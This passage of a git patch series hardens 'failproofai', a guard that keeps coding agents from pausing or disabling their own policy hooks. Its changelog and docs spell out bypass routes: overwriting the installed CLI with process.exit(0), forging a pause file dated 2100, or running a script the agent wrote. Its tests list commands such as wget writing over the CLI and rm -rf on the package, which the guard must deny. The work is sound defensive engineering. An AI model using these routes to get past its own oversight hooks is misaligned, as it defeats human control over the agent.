-31,7 +31,7 @@ */ import { existsSync, mkdirSync, readdirSync, readFileSync, rmSync } from "node:fs"; import { createHash } from "node:crypto"; -import { join, resolve } from "node:path"; +import { basename, join, resolve } from "node:path"; import { writeJsonAtomically } from "../../lib/atomic-write"; import { getAllHookActivityEntries } from "./hook-activity-store"; import { sessionPauseDir } from "./fp-home"; @@ -244,31 +244,42 @@ export function clearPause(sessionId: string): boolean { } /** - * Remove every pause file, whatever it holds. Returns how many pauses were - * ACTIVE, which is what a person ending them is told. + * Remove every pause file, whatever it holds. * * Every file, not every active pause: a file dated in the future is not honoured * yet, so it is not listed, and clearing only the listed ones left it to turn * live later — out of sight of the `--resume --all` meant to end them all. + * + * `cleared` counts the ACTIVE pauses whose file is really gone, which is what a + * person ending them is told; `incomplete` says something stayed behind — a file + * that would not go, or a directory that could not be read. Reporting the active + * count instead said "Resumed" over a file a read-only directory had kept, and + * the hook went on reading it as paused (found in review, PR #1050). */ -export function clearAllPauses(now = Date.now()): number { - const active = listActivePauses(now).length; +export function clearAllPauses(now = Date.now()): { cleared: number; incomplete: boolean } { const dir = pauseStateDir(); - let names: string[] = []; + const activeFiles = new Set(listActivePauses(now).map((pause) => basename(pauseFilePath(pause.sessionId)))); + let names: string[]; try { names = readdirSync(dir); - } catch { - return active; + } catch (err) { + // No directory means nothing was ever paused; any other failure means the + // pauses in it are still there, still read by the hook by name. + return { cleared: 0, incomplete: (err as NodeJS.ErrnoException).code !== "ENOENT" }; } + let cleared = 0; + let incomplete = false; for (const name of names) { if (!name.endsWith(".json")) continue; try { rmSync(join(dir, name)); + if (activeFiles.has(name)) cleared++; } catch { // One file that will not go must not stop the rest. + incomplete = true; } } - return active; + return { cleared, incomplete }; } /** Every pause that has not yet expired, newest first. Expired files are ignored. */ From bda88fdee39276373e02836f13ce4f14529d4bb6 Mon Sep 17 00:00:00 2001 From: NiveditJain Date: Tue, 24 Nov 2026 15:47:10 +0530 Subject: [PATCH 05/12] [hooks] CHANGELOG: move #1050's lines to 1.0.17-beta.0 Co-Authored-By: Claude Opus 5.5 --- CHANGELOG.md | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index da392e55c..9cf118ec8 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -5,6 +5,8 @@ ### Fixes - Release workflows now open the version-bump pull request themselves, using the job's own token, when the repository lets GitHub Actions create pull requests. When it does not, the run prints the pre-filled link as a warning and the release still succeeds. A re-run reuses an open bump pull request instead of opening a second one (#1052) +- The always-on guard (`block-failproofai-commands`) now protects failproofai's installed code, not only its state. A user-scope hook runs the package `which failproofai` found, which under nvm, Homebrew, Volta, bun, pnpm, yarn or the npx cache the agent's own user can write, so a Write of `process.exit(0)` over `dist/cli.mjs` turned every later hook into an allow. File-tool writes to `node_modules/failproofai/…`, pnpm's `.pnpm/failproofai@…`, the daemon's `@failproofai/failproofaid-*` package, or the `…/bin/failproofai` and `…/pnpm/failproofai` entry a hook runs are now denied, including through a symlink, and so are shell commands that name those paths literally. The protected paths match case-insensitively, because macOS volumes are case-insensitive by default (FailproofAI/agenteye#1796, #1050) +- A session pause whose recorded start is in the future, or later than its latest renewal, is no longer honoured. The 8-hour ceiling was measured from that start, which comes from the same owner-writable file, so a hand-written pause dated 2100 stayed live until 2100. `failproofai config --resume --all` now also removes pause files that are not honoured yet, and exits 1 instead of reporting success when one cannot be removed (FailproofAI/agenteye#1796, #1050) ## 1.0.16-beta.0 — 2026-11-24 @@ -15,8 +17,6 @@ ### Fixes - Releases no longer depend on the removed version-bot GitHub App. Its absence stopped the 1.0.16 npm publish at its first step and failed every post-release version bump. Nothing in CI pushes to `main` any more: each release workflow pushes its bump commit to a `version-bump/-` branch with the job's own token (`scripts/push-version-bump.sh`) and links a pre-filled pull request, which lands through review. `bump-platform-submodule.yml` is gone; Dependabot's `gitsubmodule` updates now keep `skills` current, and `platform` and `agenteye` need the same entry. `@failproofai/sdk`'s post-publish install check now reads the registry with `--prefer-online` and waits up to about 12 minutes; it had gone red on both releases even though both published. `@failproofai/sdk` opens 0.0.1-beta.3 (#1048) -- The always-on guard (`block-failproofai-commands`) now protects failproofai's installed code, not only its state. A user-scope hook runs the package `which failproofai` found, which under nvm, Homebrew, Volta, bun, pnpm, yarn or the npx cache the agent's own user can write, so a Write of `process.exit(0)` over `dist/cli.mjs` turned every later hook into an allow. File-tool writes to `node_modules/failproofai/…`, pnpm's `.pnpm/failproofai@…`, the daemon's `@failproofai/failproofaid-*` package, or the `…/bin/failproofai` and `…/pnpm/failproofai` entry a hook runs are now denied, including through a symlink, and so are shell commands that name those paths literally. The protected paths match case-insensitively, because macOS volumes are case-insensitive by default (FailproofAI/agenteye#1796, #1050) -- A session pause whose recorded start is in the future, or later than its latest renewal, is no longer honoured. The 8-hour ceiling was measured from that start, which comes from the same owner-writable file, so a hand-written pause dated 2100 stayed live until 2100. `failproofai config --resume --all` now also removes pause files that are not honoured yet, and exits 1 instead of reporting success when one cannot be removed (FailproofAI/agenteye#1796, #1050) ## 1.0.16-beta.0 — 2026-11-23 From 87045a6ca506f6783ab910c179474ac92717313e Mon Sep 17 00:00:00 2001 From: NiveditJain Date: Tue, 24 Nov 2026 17:47:08 +0530 Subject: [PATCH 06/12] [hooks] CHANGELOG: move #1050's lines to 1.0.18-beta.0 (1.0.17 shipped) v1.0.17 was published at 11:16 UTC, and release-announcement.mjs collects ## 1.0.18 plus its -beta.* sections, so lines left under ## 1.0.17 would miss the next announcement. Co-Authored-By: Claude Opus 5.5 --- CHANGELOG.md | 9 +++++++-- 1 file changed, 7 insertions(+), 2 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index fe47760fb..4f43d2ccf 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -1,5 +1,12 @@ # Changelog +## 1.0.18-beta.0 — 2026-11-24 + +### Fixes + +- The always-on guard (`block-failproofai-commands`) now protects failproofai's installed code, not only its state. A user-scope hook runs the package `which failproofai` found, which under nvm, Homebrew, Volta, bun, pnpm, yarn or the npx cache the agent's own user can write, so a Write of `process.exit(0)` over `dist/cli.mjs` turned every later hook into an allow. File-tool writes to `node_modules/failproofai/…`, pnpm's `.pnpm/failproofai@…`, the daemon's `@failproofai/failproofaid-*` package, or the `…/bin/failproofai` and `…/pnpm/failproofai` entry a hook runs are now denied, including through a symlink, and so are shell commands that name those paths literally. The protected paths match case-insensitively, because macOS volumes are case-insensitive by default (FailproofAI/agenteye#1796, #1050) +- A session pause whose recorded start is in the future, or later than its latest renewal, is no longer honoured. The 8-hour ceiling was measured from that start, which comes from the same owner-writable file, so a hand-written pause dated 2100 stayed live until 2100. `failproofai config --resume --all` now also removes pause files that are not honoured yet, and exits 1 instead of reporting success when one cannot be removed (FailproofAI/agenteye#1796, #1050) + ## 1.0.17 — 2026-11-24 ### Fixes @@ -29,8 +36,6 @@ - Setup's summary on a Cloud-managed machine says "Deploy from Cloud" instead of pointing at installing a pack (#1033) - The first `failproofai config` on a new version (a fresh install, or the first after `npm i -g failproofai`) finishes the upgrade the way `failproofai update` does: it migrates Hermes profiles and restarts running, service-managed Hermes and OpenClaw gateways so they load the plugin now on disk. A later setup that plugs in a profile created since restarts that profile's gateway. Setup used to leave a gateway that was already running on the plugin it loaded before, or with none, until someone ran `update` (#1033) - A desired-state response the daemon refuses (an unknown `schemaVersion`, or a payload that does not decode) no longer applies its `machineLogs` or `logRequest` first: it used to clear an org's troubleshooting-off and start a log upload on the way to being rejected; the last valid answer now stands (#1033) -- The always-on guard (`block-failproofai-commands`) now protects failproofai's installed code, not only its state. A user-scope hook runs the package `which failproofai` found, which under nvm, Homebrew, Volta, bun, pnpm, yarn or the npx cache the agent's own user can write, so a Write of `process.exit(0)` over `dist/cli.mjs` turned every later hook into an allow. File-tool writes to `node_modules/failproofai/…`, pnpm's `.pnpm/failproofai@…`, the daemon's `@failproofai/failproofaid-*` package, or the `…/bin/failproofai` and `…/pnpm/failproofai` entry a hook runs are now denied, including through a symlink, and so are shell commands that name those paths literally. The protected paths match case-insensitively, because macOS volumes are case-insensitive by default (FailproofAI/agenteye#1796, #1050) -- A session pause whose recorded start is in the future, or later than its latest renewal, is no longer honoured. The 8-hour ceiling was measured from that start, which comes from the same owner-writable file, so a hand-written pause dated 2100 stayed live until 2100. `failproofai config --resume --all` now also removes pause files that are not honoured yet, and exits 1 instead of reporting success when one cannot be removed (FailproofAI/agenteye#1796, #1050) ### Dependencies From 697fac992c5ef8c1a679b7c58d7783147b80f04b Mon Sep 17 00:00:00 2001 From: NiveditJain Date: Tue, 24 Nov 2026 18:19:09 +0530 Subject: [PATCH 07/12] [hooks] Address CodeRabbit: dotted pnpm-store glob; state the one-minute allowance - `rm -rf ./node_modules/.pnpm/fail*` was allowed while the undotted form was denied: the glob candidates had no `./node_modules/.pnpm/` entry. Add it, with its decoy, so `./node_modules/.pnpm/*` stays allowed. - CHANGELOG and docs said every future start is refused; a start within a minute of the reader's clock is honoured on purpose. Co-Authored-By: Claude Opus 5.5 --- CHANGELOG.md | 2 +- __tests__/hooks/guard-installed-code.test.ts | 2 ++ docs/reference/failproof-cli.mdx | 2 +- src/hooks/builtin-policies.ts | 2 ++ 4 files changed, 6 insertions(+), 2 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 4f43d2ccf..e13b8a377 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -5,7 +5,7 @@ ### Fixes - The always-on guard (`block-failproofai-commands`) now protects failproofai's installed code, not only its state. A user-scope hook runs the package `which failproofai` found, which under nvm, Homebrew, Volta, bun, pnpm, yarn or the npx cache the agent's own user can write, so a Write of `process.exit(0)` over `dist/cli.mjs` turned every later hook into an allow. File-tool writes to `node_modules/failproofai/…`, pnpm's `.pnpm/failproofai@…`, the daemon's `@failproofai/failproofaid-*` package, or the `…/bin/failproofai` and `…/pnpm/failproofai` entry a hook runs are now denied, including through a symlink, and so are shell commands that name those paths literally. The protected paths match case-insensitively, because macOS volumes are case-insensitive by default (FailproofAI/agenteye#1796, #1050) -- A session pause whose recorded start is in the future, or later than its latest renewal, is no longer honoured. The 8-hour ceiling was measured from that start, which comes from the same owner-writable file, so a hand-written pause dated 2100 stayed live until 2100. `failproofai config --resume --all` now also removes pause files that are not honoured yet, and exits 1 instead of reporting success when one cannot be removed (FailproofAI/agenteye#1796, #1050) +- A session pause whose recorded start is more than a minute in the future, or later than its latest renewal, is no longer honoured. The 8-hour ceiling was measured from that start, which comes from the same owner-writable file, so a hand-written pause dated 2100 stayed live until 2100. `failproofai config --resume --all` now also removes pause files that are not honoured yet, and exits 1 instead of reporting success when one cannot be removed (FailproofAI/agenteye#1796, #1050) ## 1.0.17 — 2026-11-24 diff --git a/__tests__/hooks/guard-installed-code.test.ts b/__tests__/hooks/guard-installed-code.test.ts index 8c83fe32c..1ebccc705 100644 --- a/__tests__/hooks/guard-installed-code.test.ts +++ b/__tests__/hooks/guard-installed-code.test.ts @@ -234,6 +234,7 @@ describe("block-failproofai-commands — failproofai's installed code", () => { ["removing pnpm's global store entry", "rm -rf /home/u/.local/share/pnpm/global/5/.pnpm/failproofai@1.0.15"], ["removing the daemon package from pnpm's store", "rm -rf node_modules/.pnpm/@failproofai+failproofaid-linux-x64@1.0.15"], ["a glob onto pnpm's store entry", "rm -rf node_modules/.pnpm/fail*"], + ["a dotted glob onto pnpm's store entry", "rm -rf ./node_modules/.pnpm/fail*"], ])("denies %s", async (_label, command) => { expect(await bash(command)).toBe("deny"); }); @@ -248,6 +249,7 @@ describe("block-failproofai-commands — failproofai's installed code", () => { ["a clean reinstall", "rm -rf node_modules && npm ci"], ["clearing every dependency", "rm -rf node_modules/*"], ["clearing pnpm's whole store", "rm -rf node_modules/.pnpm/*"], + ["clearing pnpm's whole store, dotted", "rm -rf ./node_modules/.pnpm/*"], ["a test run inside a directory of that name under bin/", "vitest run --root /home/u/bin/failproofai/web"], ["clearing a build cache", "rm -rf node_modules/.cache"], ["removing a checkout of the repo", "rm -rf /home/u/src/failproofai"], diff --git a/docs/reference/failproof-cli.mdx b/docs/reference/failproof-cli.mdx index e672159be..cc97aa58b 100644 --- a/docs/reference/failproof-cli.mdx +++ b/docs/reference/failproof-cli.mdx @@ -99,7 +99,7 @@ Run `failproofai` without arguments to open the local policy dashboard. | `--session ` | Target an explicit session for pause or resume | | `--all` | With `--resume`, end every active pause | -Local pauses suspend builtin, custom, convention, and pack policies for one session. They always expire, at most 8 hours after the first pause in a run, and they do not disable Cloud-managed policies or `block-failproofai-commands`, which is always on and cannot itself be disabled or paused. That guard refuses the direct ways an instrumented agent could pause itself: running `failproofai config --pause`, or writing the pause file under `~/.failproofai/state/sessions/`. It reads commands, not what a script does when it runs, so a script the agent writes and then runs can still reach the same state. A pause file is checked for a bounded expiry and a start that is not in the future, not for who wrote it. +Local pauses suspend builtin, custom, convention, and pack policies for one session. They always expire, at most 8 hours after the first pause in a run, and they do not disable Cloud-managed policies or `block-failproofai-commands`, which is always on and cannot itself be disabled or paused. That guard refuses the direct ways an instrumented agent could pause itself: running `failproofai config --pause`, or writing the pause file under `~/.failproofai/state/sessions/`. It reads commands, not what a script does when it runs, so a script the agent writes and then runs can still reach the same state. A pause file is checked for a bounded expiry and a start no more than a minute in the future, not for who wrote it. ## Policy flags diff --git a/src/hooks/builtin-policies.ts b/src/hooks/builtin-policies.ts index 9c13eef60..1fd879c86 100644 --- a/src/hooks/builtin-policies.ts +++ b/src/hooks/builtin-policies.ts @@ -836,6 +836,7 @@ const STATE_GLOB_CANDIDATES = [ "node_modules/failproofai", "./node_modules/failproofai", "node_modules/.pnpm/failproofai@1.0.0", + "./node_modules/.pnpm/failproofai@1.0.0", "/usr/local/lib/node_modules/failproofai", "/usr/lib/node_modules/failproofai", "/opt/homebrew/lib/node_modules/failproofai", @@ -863,6 +864,7 @@ const GLOB_DECOYS = [ // Neighbours of the installed-code candidates, so `rm -rf node_modules/*` and // its global equivalents are read as the sweeps they are. "node_modules/react", "node_modules/.bin", "./node_modules/react", "node_modules/.pnpm/react@18.0.0", + "./node_modules/.pnpm/react@18.0.0", "/usr/local/lib/node_modules/npm", "/usr/lib/node_modules/npm", "/opt/homebrew/lib/node_modules/npm", "/usr/local/bin/node", "/opt/homebrew/bin/node", "~/.bun/bin/bun", "~/.volta/bin/node", ]; From 70f0e1bc141eb6268c300e5c5ab51440adab5bed Mon Sep 17 00:00:00 2001 From: NiveditJain Date: Tue, 24 Nov 2026 20:04:02 +0530 Subject: [PATCH 08/12] [hooks] Match node_modules and .pnpm only as whole path components MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit The installed-code pattern started at `node_modules` with no boundary, so a write to `/work/proj/cached_node_modules/failproofai/index.js` (an ordinary fixture) was denied as failproofai's installed code; `my-node_modules/…` and `foo.pnpm/failproofai@…` likewise. A lookbehind now requires the component to start at a separator, the start, a space, a quote or `=`, so `node_modules/failproofai` and `…/node_modules/failproofai` still match. Found by CodeRabbit on the stacked #1795 PR. Co-Authored-By: Claude Opus 5.5 --- __tests__/hooks/guard-installed-code.test.ts | 5 +++++ src/hooks/builtin-policies.ts | 7 ++++--- 2 files changed, 9 insertions(+), 3 deletions(-) diff --git a/__tests__/hooks/guard-installed-code.test.ts b/__tests__/hooks/guard-installed-code.test.ts index 1ebccc705..98548f965 100644 --- a/__tests__/hooks/guard-installed-code.test.ts +++ b/__tests__/hooks/guard-installed-code.test.ts @@ -205,6 +205,10 @@ describe("block-failproofai-commands — failproofai's installed code", () => { ["the TypeScript SDK", "/work/proj/node_modules/@failproofai/sdk/dist/index.js"], ["a project file named after the product", "/work/proj/src/failproofai.ts"], ["a project in a directory of that name under bin/", "/home/u/bin/failproofai/src/index.ts"], + // `node_modules` and `.pnpm` count only as whole path components. + ["a fixture under a directory that merely ends in node_modules", "/work/proj/cached_node_modules/failproofai/index.js"], + ["a fixture under a hyphenated node_modules", "/work/proj/my-node_modules/failproofai/index.js"], + ["a fixture under a directory that merely ends in .pnpm", "/work/proj/foo.pnpm/failproofai@1.0.0/x.js"], ])("allows writing %s", async (_label, path) => { expect((await write(path)).decision).toBe("allow"); }); @@ -250,6 +254,7 @@ describe("block-failproofai-commands — failproofai's installed code", () => { ["clearing every dependency", "rm -rf node_modules/*"], ["clearing pnpm's whole store", "rm -rf node_modules/.pnpm/*"], ["clearing pnpm's whole store, dotted", "rm -rf ./node_modules/.pnpm/*"], + ["removing a fixture under cached_node_modules", "rm -rf cached_node_modules/failproofai"], ["a test run inside a directory of that name under bin/", "vitest run --root /home/u/bin/failproofai/web"], ["clearing a build cache", "rm -rf node_modules/.cache"], ["removing a checkout of the repo", "rm -rf /home/u/src/failproofai"], diff --git a/src/hooks/builtin-policies.ts b/src/hooks/builtin-policies.ts index 1fd879c86..a27c79d8b 100644 --- a/src/hooks/builtin-policies.ts +++ b/src/hooks/builtin-policies.ts @@ -491,11 +491,12 @@ const FAILPROOFAI_CODE_PATH_RE = new RegExp( [ // The package, in every layout a package manager uses, and the daemon's // platform package, which `failproofai config` and `update` copy into place - // (on Linux as root, under `/opt`). - String.raw`node_modules[\\/](?:\.?[\\/])*(?:failproofai(?![\w.@-])|@failproofai[\\/](?:\.?[\\/])*failproofaid\b)`, + // (on Linux as root, under `/opt`). `node_modules` as a whole path + // component: `cached_node_modules/failproofai` is somebody's fixture. + String.raw`(? Date: Tue, 24 Nov 2026 20:11:37 +0530 Subject: [PATCH 09/12] [hooks] Let a path component start right after a short-option cluster MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit 70f0e1bc required `node_modules` / `.pnpm` to start at a non-name character, which also rejected an output file glued to a short option: `wget -q -Onode_modules/failproofai/dist/cli.mjs …` was denied before and allowed after. PATH_COMPONENT_START also accepts a position right after `-` that follows whitespace or the start, so `-O` and `-qO` deny again while `cached_node_modules/…`, `my-node_modules/…`, `foo.pnpm/…` and `/tmp/-xnode_modules/…` stay allowed. (Reported by the #1795 session; `curl -so` stays allowed for the state and the code alike because the walk does not parse a glued `-o` value — walk-level.) Co-Authored-By: Claude Opus 5.5 --- __tests__/hooks/guard-installed-code.test.ts | 5 +++++ src/hooks/builtin-policies.ts | 16 +++++++++++++--- 2 files changed, 18 insertions(+), 3 deletions(-) diff --git a/__tests__/hooks/guard-installed-code.test.ts b/__tests__/hooks/guard-installed-code.test.ts index 98548f965..1d589d84c 100644 --- a/__tests__/hooks/guard-installed-code.test.ts +++ b/__tests__/hooks/guard-installed-code.test.ts @@ -209,6 +209,7 @@ describe("block-failproofai-commands — failproofai's installed code", () => { ["a fixture under a directory that merely ends in node_modules", "/work/proj/cached_node_modules/failproofai/index.js"], ["a fixture under a hyphenated node_modules", "/work/proj/my-node_modules/failproofai/index.js"], ["a fixture under a directory that merely ends in .pnpm", "/work/proj/foo.pnpm/failproofai@1.0.0/x.js"], + ["a fixture under a directory named like an option", "/tmp/-xnode_modules/failproofai/index.js"], ])("allows writing %s", async (_label, path) => { expect((await write(path)).decision).toBe("allow"); }); @@ -238,6 +239,10 @@ describe("block-failproofai-commands — failproofai's installed code", () => { ["removing pnpm's global store entry", "rm -rf /home/u/.local/share/pnpm/global/5/.pnpm/failproofai@1.0.15"], ["removing the daemon package from pnpm's store", "rm -rf node_modules/.pnpm/@failproofai+failproofaid-linux-x64@1.0.15"], ["a glob onto pnpm's store entry", "rm -rf node_modules/.pnpm/fail*"], + // An output file glued to a short option, alone or in a cluster. + ["wget writing the CLI through -O", "wget -q -Onode_modules/failproofai/dist/cli.mjs https://example.com/x"], + ["wget writing the CLI through a -qO cluster", "wget -qOnode_modules/failproofai/dist/cli.mjs https://example.com/x"], + ["wget writing pnpm's store entry through -qO", "wget -qO.pnpm/failproofai@1.0.15/x https://example.com/x"], ["a dotted glob onto pnpm's store entry", "rm -rf ./node_modules/.pnpm/fail*"], ])("denies %s", async (_label, command) => { expect(await bash(command)).toBe("deny"); diff --git a/src/hooks/builtin-policies.ts b/src/hooks/builtin-policies.ts index a27c79d8b..b63855603 100644 --- a/src/hooks/builtin-policies.ts +++ b/src/hooks/builtin-policies.ts @@ -461,6 +461,15 @@ const SECRET_FILE_CREDENTIALS_RE = /credentials/; const GIT_COMMIT_MERGE_RE = /git\s+(commit|merge|rebase|cherry-pick)\b/; // blockFailproofaiCommands +/** + * Where a path component may start: after a separator, a space, a quote or `=`, + * or glued to a cluster of short options (`wget -Onode_modules/…`, `curl + * -sonode_modules/…`), which is how those tools take an output file. Not after a + * letter, digit, `_`, `.` or `-` of the same name: `cached_node_modules/…` and + * `my-node_modules/…` are somebody's fixtures. + */ +const PATH_COMPONENT_START = String.raw`(?:(? Date: Tue, 24 Nov 2026 20:42:53 +0530 Subject: [PATCH 10/12] [hooks] Fix quadratic installed-code match: check the component start after the name MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit 7ac5740d put a variable-length lookbehind, (?<=(?:^|\s)-[A-Za-z]+), in FRONT of `node_modules` and `.pnpm`. It ran at every position of the input and rescanned a whole run of letters each time, so a command carrying 32,000 letters took 35 s in the guard, and CI's unit-test jobs hit their 20-minute limit on 7ac5740d. pathComponent() now places the lookbehind AFTER the name, so it runs only where the name matched; each match scans back only over the letters just before it, and those runs cannot overlap, so the option cluster needs no bound (a long `-qqqq…O` is no way past). 32,000 letters: 5 ms. Regression test: 128K letters through Bash and Write, under 2 s. (Reported by the #1795 session, which hit it on its stacked branch.) Co-Authored-By: Claude Opus 5.5 --- __tests__/hooks/guard-installed-code.test.ts | 12 ++++++++ src/hooks/builtin-policies.ts | 31 +++++++++++++------- 2 files changed, 33 insertions(+), 10 deletions(-) diff --git a/__tests__/hooks/guard-installed-code.test.ts b/__tests__/hooks/guard-installed-code.test.ts index 1d589d84c..9f8dd4a70 100644 --- a/__tests__/hooks/guard-installed-code.test.ts +++ b/__tests__/hooks/guard-installed-code.test.ts @@ -215,6 +215,18 @@ describe("block-failproofai-commands — failproofai's installed code", () => { }); }); + // A variable-length lookbehind in front of a name ran at every position of the + // input and went quadratic on a run of letters: 32,000 of them took 35 s in the + // guard, long enough to time a hook out. It now runs only where a name matched. + it("stays fast on a long run of letters", async () => { + const started = Date.now(); + expect(await bash(`find . -name '*.sqlite' -delete ${"x".repeat(128_000)}`)).toBe("allow"); + expect((await write(`/work/proj/${"x".repeat(128_000)}`)).decision).toBe("allow"); + // ...and a long option cluster is no way past: the cluster needs no bound. + expect(await bash(`wget -q${"x".repeat(64_000)}Onode_modules/failproofai/dist/cli.mjs https://e/x`)).toBe("deny"); + expect(Date.now() - started).toBeLessThan(2000); + }); + describe("shell commands", () => { it.each([ ["a copy over the CLI", `cp /tmp/x.mjs ${NVM_PKG}/dist/cli.mjs`], diff --git a/src/hooks/builtin-policies.ts b/src/hooks/builtin-policies.ts index b63855603..21d74435e 100644 --- a/src/hooks/builtin-policies.ts +++ b/src/hooks/builtin-policies.ts @@ -462,13 +462,24 @@ const GIT_COMMIT_MERGE_RE = /git\s+(commit|merge|rebase|cherry-pick)\b/; // blockFailproofaiCommands /** - * Where a path component may start: after a separator, a space, a quote or `=`, - * or glued to a cluster of short options (`wget -Onode_modules/…`, `curl - * -sonode_modules/…`), which is how those tools take an output file. Not after a - * letter, digit, `_`, `.` or `-` of the same name: `cached_node_modules/…` and - * `my-node_modules/…` are somebody's fixtures. + * The path component `name` (regex source), only where it STARTS a component: + * after a separator, a space, a quote or `=`, or glued to a cluster of short + * options (`wget -Onode_modules/…`, `wget -qO.pnpm/…`), which is how those tools + * take an output file. Not after a letter, digit, `_`, `.` or `-` of the same + * name: `cached_node_modules/…` and `my-node_modules/…` are somebody's fixtures. + * + * The check is a lookbehind placed AFTER the name, so it runs only where the + * name already matched. A variable-length lookbehind in FRONT of the name ran + * at every position of the input and rescanned a whole run of letters each + * time: a command carrying 32,000 letters took 35 s in the guard, long enough + * to time a hook out. Here each match scans back over the letters just before + * it, and those runs cannot overlap — every name ends in a non-letter (`_` in + * `node_modules`, the `.` that starts `.pnpm`) — so the cluster needs no bound, + * and a long one (`-qqqq…O`) is not a way past. */ -const PATH_COMPONENT_START = String.raw`(?:(? Date: Tue, 24 Nov 2026 20:54:13 +0530 Subject: [PATCH 11/12] [hooks] Start a path component only after a separator or a shell word boundary MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit The component check excluded [\w.-] in front of `node_modules` / `.pnpm`, so any other character passed: a write to `/work/fixture+node_modules/failproofai/index.js` was denied as installed code (CodeRabbit). Anything in front of the name inside the same component makes it a different directory, so the check now lists what MAY come before it — the start, `/` or `\`, and what ends a shell word (whitespace, quotes, `=`, `:`, `;`, `|`, `&`, redirects, subshell and brace brackets, `,`) — plus the glued short-option cluster. Still linear (lookbehind after the name); subshell, brace-list, redirect, quote and assignment forms tested. Co-Authored-By: Claude Opus 5.5 --- __tests__/hooks/guard-installed-code.test.ts | 8 ++++++++ src/hooks/builtin-policies.ts | 14 +++++++++----- 2 files changed, 17 insertions(+), 5 deletions(-) diff --git a/__tests__/hooks/guard-installed-code.test.ts b/__tests__/hooks/guard-installed-code.test.ts index 9f8dd4a70..46a997097 100644 --- a/__tests__/hooks/guard-installed-code.test.ts +++ b/__tests__/hooks/guard-installed-code.test.ts @@ -210,6 +210,8 @@ describe("block-failproofai-commands — failproofai's installed code", () => { ["a fixture under a hyphenated node_modules", "/work/proj/my-node_modules/failproofai/index.js"], ["a fixture under a directory that merely ends in .pnpm", "/work/proj/foo.pnpm/failproofai@1.0.0/x.js"], ["a fixture under a directory named like an option", "/tmp/-xnode_modules/failproofai/index.js"], + ["a fixture under a directory joined with +", "/work/fixture+node_modules/failproofai/index.js"], + ["a fixture under a .pnpm-suffixed directory joined with +", "/work/fixture+.pnpm/failproofai@1.0.0/x.js"], ])("allows writing %s", async (_label, path) => { expect((await write(path)).decision).toBe("allow"); }); @@ -255,6 +257,12 @@ describe("block-failproofai-commands — failproofai's installed code", () => { ["wget writing the CLI through -O", "wget -q -Onode_modules/failproofai/dist/cli.mjs https://example.com/x"], ["wget writing the CLI through a -qO cluster", "wget -qOnode_modules/failproofai/dist/cli.mjs https://example.com/x"], ["wget writing pnpm's store entry through -qO", "wget -qO.pnpm/failproofai@1.0.15/x https://example.com/x"], + // What ends a shell word still starts a component. + ["the package named in a subshell", "(rm -rf node_modules/failproofai)"], + ["the package named in a brace list", "rm -rf {node_modules/failproofai,tmp}"], + ["the package named after a redirect", "cat /tmp/x.mjs >node_modules/failproofai/dist/cli.mjs"], + ["the package named inside quotes", 'rm -rf "node_modules/failproofai"'], + ["the package named in an assignment", "D=node_modules/failproofai; rm -rf $D"], ["a dotted glob onto pnpm's store entry", "rm -rf ./node_modules/.pnpm/fail*"], ])("denies %s", async (_label, command) => { expect(await bash(command)).toBe("deny"); diff --git a/src/hooks/builtin-policies.ts b/src/hooks/builtin-policies.ts index 21d74435e..92318e1cc 100644 --- a/src/hooks/builtin-policies.ts +++ b/src/hooks/builtin-policies.ts @@ -463,10 +463,14 @@ const GIT_COMMIT_MERGE_RE = /git\s+(commit|merge|rebase|cherry-pick)\b/; // blockFailproofaiCommands /** * The path component `name` (regex source), only where it STARTS a component: - * after a separator, a space, a quote or `=`, or glued to a cluster of short - * options (`wget -Onode_modules/…`, `wget -qO.pnpm/…`), which is how those tools - * take an output file. Not after a letter, digit, `_`, `.` or `-` of the same - * name: `cached_node_modules/…` and `my-node_modules/…` are somebody's fixtures. + * at the start, after a path separator, or after what ends a shell word — + * whitespace, a quote, `=`, `:`, `;`, `|`, `&`, a redirect, a bracket of a + * subshell or a brace list, a comma — or glued to a cluster of short options + * (`wget -Onode_modules/…`, `wget -qO.pnpm/…`), which is how those tools take an + * output file. Anything else in front of it is part of the same name, so it is + * a different directory: `cached_node_modules/…`, `my-node_modules/…` and + * `fixture+node_modules/…` are somebody's fixtures. A list of what may come + * before, not of what may not — the second kind is never finished. * * The check is a lookbehind placed AFTER the name, so it runs only where the * name already matched. A variable-length lookbehind in FRONT of the name ran @@ -478,7 +482,7 @@ const GIT_COMMIT_MERGE_RE = /git\s+(commit|merge|rebase|cherry-pick)\b/; * and a long one (`-qqqq…O`) is not a way past. */ function pathComponent(name: string): string { - return String.raw`${name}(?<=(?:^|[^\w.-])${name}|(?:^|\s)-[A-Za-z]+${name})`; + return String.raw`${name}(?<=(?:^|[\\/\s"'\`=:;|&<>(){},])${name}|(?:^|\s)-[A-Za-z]+${name})`; } /** From 1388f38c44beaf9fcf14a263d2fdc783fa412127 Mon Sep 17 00:00:00 2001 From: NiveditJain Date: Tue, 24 Nov 2026 21:48:12 +0530 Subject: [PATCH 12/12] [hooks] Address hermes: daemon-store globs and case-insensitive glob matching - `rm -rf node_modules/.pnpm/@failproofai+failproofaid-*@*` (and `./`, platform/version-targeted variants) was allowed: the literal pattern wanted `@` right after the daemon's name, and the glob candidates held only the CLI's store entry. The pnpm alternative now recognises the daemon's entry by its name alone, and the candidates add the daemon's store and scope entries for its four platforms, with `@types` decoys so `rm -rf node_modules/.pnpm/@*` and `node_modules/@*/*` sweeps stay allowed. - `rm -rf NODE_MODULES/fail*` was allowed while `rm -rf NODE_MODULES/failproofai` denied: glob patterns were compiled case-sensitively. On a default macOS volume the literal parent resolves to the real install, so glob matching is case-insensitive like the literal pattern. `NODE_MODULES/*` stays allowed. Co-Authored-By: Claude Opus 5.5 --- __tests__/hooks/guard-installed-code.test.ts | 16 ++++++++++++++ src/hooks/builtin-policies.ts | 22 +++++++++++++++++--- 2 files changed, 35 insertions(+), 3 deletions(-) diff --git a/__tests__/hooks/guard-installed-code.test.ts 